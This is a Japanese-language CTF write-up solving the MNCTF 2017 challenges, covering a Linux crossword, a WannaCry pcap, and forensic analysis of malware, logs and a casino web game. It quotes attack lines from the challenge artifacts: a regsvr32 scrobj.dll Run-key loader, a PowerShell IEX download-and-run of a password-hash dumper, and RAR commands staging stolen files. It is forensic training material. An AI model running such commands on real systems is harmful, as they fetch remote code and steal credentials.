Macnica Networks DAY 2017 で開催された MNCTF 2017 がオンラインでも楽しめるようになったということで挑戦してみました。
全完できたので write-up を書いてみます。
問題文をコピペ。
MNCTF
Linux のコマンドのクロスワードを埋める問題でした。
タテのカギ
ヨコのカギ
全て埋めるとフラグが表示されました。
p
chmod s
a i t
l factor
f o e
t l e
o u
uptime
n
f148052f5b4eea45dd395d6f45fb19ea
pcap ファイルが与えられるので、解析して突かれた脆弱性の名前を答えるという問題でした。
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
の名前解決をしている通信があったことから、WannaCry に感染した様子をキャプチャしたものと考えました。
MS17-010
や CVE-2017-0144
を試したものの通らず、EternalBlue
を試したところ正解でした。
EternalBlue
以下のような不審なレジストリが見つかったので、これによって実行されるスクリプトを解析して通信先の FQDN を答えるという問題でした。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"
とりあえず https://pastebin.com/raw/8CUEUgix にアクセスすると、難読化された JScript のスクリプトがありました。
url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';
showexec = 0x0;
wshel = new ActiveXObject(_0xd5bd('0x1b'));
fso = new ActiveXObject(_0xd5bd('0x1c'));
if (is_ps_installed() && is_dotnet_installed()) {
wmi_create_process(pspath + _0xd5bd('0x1d') + url + '\x2f\x70\x31\x27\x29\x29', showexec);
}
url
をデコードすると 'https://mtip.macnica.net'
という文字列が出てきました。
mtip.macnica.net
http://nzxj65x32v
h2fkhk.onion/phcg
nxm6j/4xvucf
0b3y!!
と書かれたメモの画像が与えられました。
URL の TLD が onion なので Tor Browser や Tor2web でアクセスし、0b3y!!
をパスワードとして入力するとフラグが表示されました。
TORPASTEBIN
artifact.zip
(攻撃者が残したファイル)、EDR_LOG.csv
(ログ) が与えられるので、これを解析して盗まれたファイルの中で最も重要なファイルの名前を答えるという問題でした。
Get-PassHashes.ps1
という名前が明らかに怪しいファイルがあったので EDR_LOG.csv
を grep
で探したところ、以下のようなログが見つかりました。
$ grep Get-PassHashes.ps1 EDR_LOG.csv
06/27/2017 21:05:53.234,13Kamakura,LOCAL SYSTEM,45632,11332,Powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes ,92f44e405db16ac55d97e3bfe3b132fa
この前後を見てみると以下のようなログがありました。
06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:\Program Files (x86)\\Tencent\\RTXC\Plugins\bizmailclient\sqlite.exe"" a -m5 -hpFnckyou123 ""C:\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f
06/27/2017 21:12:47.139,13Kamakura,LOCAL SYSTEM,45632,36473,"""C:\Program Files (x86)\\Tencent\\RTXC\Plugins\\bizmailclient\\sqlite.exe"" a -m5 -hpFnckyou123 ""C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dat"" c:\windows\temp\*.log ",8babc98395f0d8fc0968982237b1bc8f
SQLite…? jvm.dat
がどのようなファイルか調べてみましょう。
$ file jvm.dat
jvm.dat: RAR archive data, vac,
rar のようです。sqlite.exe
のハッシュ値を検索したところ、どうやらこれは WinRAR を偽装したものらしいと分かりました。
sqlite.exe
のオプションに書かれているパスワードを使って jvm.dat
を展開すると、2017want.xlsx
MpCmdRun.log
MpSigStub.log
serverpassword.xlsx
の 4 つのファイルが出てきました。
serverpassword
svchost.exe
(マルウェア本体)、vm.dat
、EDR_log.csv
(ログ) の 3 つのファイルが与えられるので、このマルウェアの通信先の FQDN を特定するという問題でした。
svchost.exe
を strings
に投げると Must specify <RC4 key> <file>!
という文字列が見つかりました。
EDR_log.csv
を vm.dat
で grep
すると以下のようなログが見つかりました。
$ grep vm.dat EDR_log.csv
06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168
abcd
を鍵として vm.dat
の内容を RC4 で復号してみましょう。
$ python2
...
>>> RC4('a5012e2ce822402b20f45b5564'.decode('hex'), 'abcd')
'shinobot.com\n'
shinobot.com
ファイルのハッシュを送るとマルウェアの判定をしてくれるサービスの API のリファレンスとハッシュのリストが与えられるので、RAT.A.aa74e
と判定されるハッシュを見つけるという問題でした。
import requests
KEY = '578459a056231ac6745fcb53e3304b3043bb7c9448863e84652764592d15b3d1'
def get_token(key):
r = requests.post('http://mnctf.info/mnctf2017/task/intel/gettoken/', data={
'key': key
})
return r.json()
def query(hash, token):
r = requests.post('http://mnctf.info/mnctf2017/task/intel/query/', headers={
'X-TOKEN': token
}, data={
'hash': hash
})
return r.json()
with open('minhashlist.txt', 'r') as f:
hashes = f.read()
token = get_token(KEY)['token']
for hash in hashes.splitlines():
res = query(hash, token)
if res['auth'] != 'success':
token = get_token(KEY)['token']
res = query(hash, token)
if res['detection_name'] == 'RAT.A.aa74e':
print hash
eef6b47cc2c1fbfbdbcb90f6376416
サイコロの出目を当てるカジノゲームで、所持金が 37337 になるようにするという問題でした。
掛け金は 1 ~ 20 BTC の中から選べるようですが、<select id="bet">
を <input type="text" id="bet">
に変えることで任意の数値にできるようです。
負数も例外ではなく、-37337 に変えてわざと負けると持ち金を 37337 BTC 増やすことができました。
140872501
Feuder.exe
(サーバ)、Feuder.cpp
(ソース)、exploit.py
(未完成のエクスプロイト)、send_pattern.py
(これ) が与えられるので、exploit.py
を完成させてバッファの先頭からリターンアドレスの先頭までの距離を答えるという問題でした。
OllyDbg で Feuder.exe
を走らせ、send_pattern.py
を実行してクラッシュさせ、eip の値からオフセットを計算するとフラグが得られました。
1020